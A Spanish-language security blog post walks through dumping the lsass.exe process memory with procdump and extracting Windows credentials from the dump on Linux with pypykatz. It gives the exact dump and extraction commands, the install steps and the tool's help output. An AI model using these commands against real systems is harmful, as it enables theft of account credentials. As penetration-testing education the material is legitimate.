This page looks best with JavaScript enabled

Extrayendo credenciales de un volcado de memoria de lssas.exe con Pypykatz

 ·   ·   3 min read

Cuando realizamos el dumpeo del proceso lssas.exe el siguiente paso es obtener las credenciales que se encuentren almacenadas en memoria valga la redundancia , muchas o gran parte de las veces llegamos a utilizar mimikatz para extraerlos, aquí tenemos el inconveniente que necesitamos un entorno windows para extraer los credenciales.

La herramienta que utilizamos para el volcado de memoria del proceso es procdump en esta prueba de ejemplo, puedes realizar este proceso con SharpSploit u otra según Procdump forma parte de suite de Sysinternals que tiene como objetivo el extraer la informacion que se encuentra en memoria obteniendo consigo si todo esta adecuadamente mal configurado extraemos credenciales.

El volcado del proceso lsass se realiza de la siguiente manera, aclarando que depende mucho la ejecución según el escenario de explotabilidad que tengamos.

procdump.exe -accepteula -ma lsass.exe fichero.dump

Teniendo como resultado el fichero lsass.dmp, como mencionamos en el inicio de la entrada, existen dos maneras para tratar el dumpeo, el primero es con mimikatz desde un windows con la misma arquitectura o también desde linux, para cual tenemos la alternativa que es  pypykatz.

Pypykatz es una implementación de Mimikatz  en Python, con la posibilidad de ser ejecutada en cualquier sistema operativo.

Instalación

Puedes ser realizado desde pip o sacando una copia del repositorio en github, ambos serán descritos a continuación. 

Instalando a través de PIP

Necesitamos tener instalado pip3 para realizar la instalación.

╭─ ~/SniferL4bs  
╰─pip3 install pypykatz 

Las dependencias que necesitamos instalar previamente son las siguientes

╭─ ~/SniferL4bs  
╰─ pip3 install minidump minikerberos aiowinreg msldap winsspi  

Instalando desde Github

  
git clone https://github.com/skelsec/pypykatz.git  
cd pypykatz  
python3 setup.py install  

Solo debemos ejecutar en ambos casos pypykatz -h para ver las opciones de la herramienta.

  
╭─ ~/SniferL4bs                                                                                                                                                                      
╰─ pypykatz -h  
usage: pypykatz [-h] [-v]  
{live,lsa,registry,nt,lm,dcc,dcc2,gppass,ldap,dpapi,sake} ...  
  
Pure Python implementation of Mimikatz --and more--  
  
positional arguments:  
{live,lsa,registry,nt,lm,dcc,dcc2,gppass,ldap,dpapi,sake}  
commands  
live                Get secrets from live machine  
lsa                 Get secrets from memory dump  
registry            Get secrets from registry files  
nt                  Generates NT hash of the password  
lm                  Generates LM hash of the password  
dcc                 Generates DCC v1 (domain cached credentials version 1)  
hash of the password  
dcc2                Generates DCC v2 (domain cached credentials version 2)  
hash of the password  
gppass              Decrypt GP passwords  
ldap                LDAP (live) related commands  
dpapi               DPAPI (offline) related commands  
sake                sake  
  
optional arguments:  
-h, --help            show this help message and exit  
-v, --verbose  

Necesitamos contar con el dumpeo del proceso para que el mismo sea tratado con pypykatz, el comando a ser utilizado es:

╭─ ~/SniferL4bs  
╰─ pypykatz lsa minidump lsass.dmp 

Teniendo el siguiente resultado con los credenciales obtenidos en texto claro, si todo marcho adecuadamente para nosotros.

Para conocer un mayor detalle de la herramienta Pypykatz tenemos su WIKI en github de Pypykatz.

“La ignorancia está menos lejos de la verdad que el prejuicio.” - Denis Diderot

Quieres que tratemos algun tema en el blog, avisanos en los comentarios, o en el grupo de Telegram.

Regards,
Snifer

Share on
Support the author with

Avatar
WRITTEN BY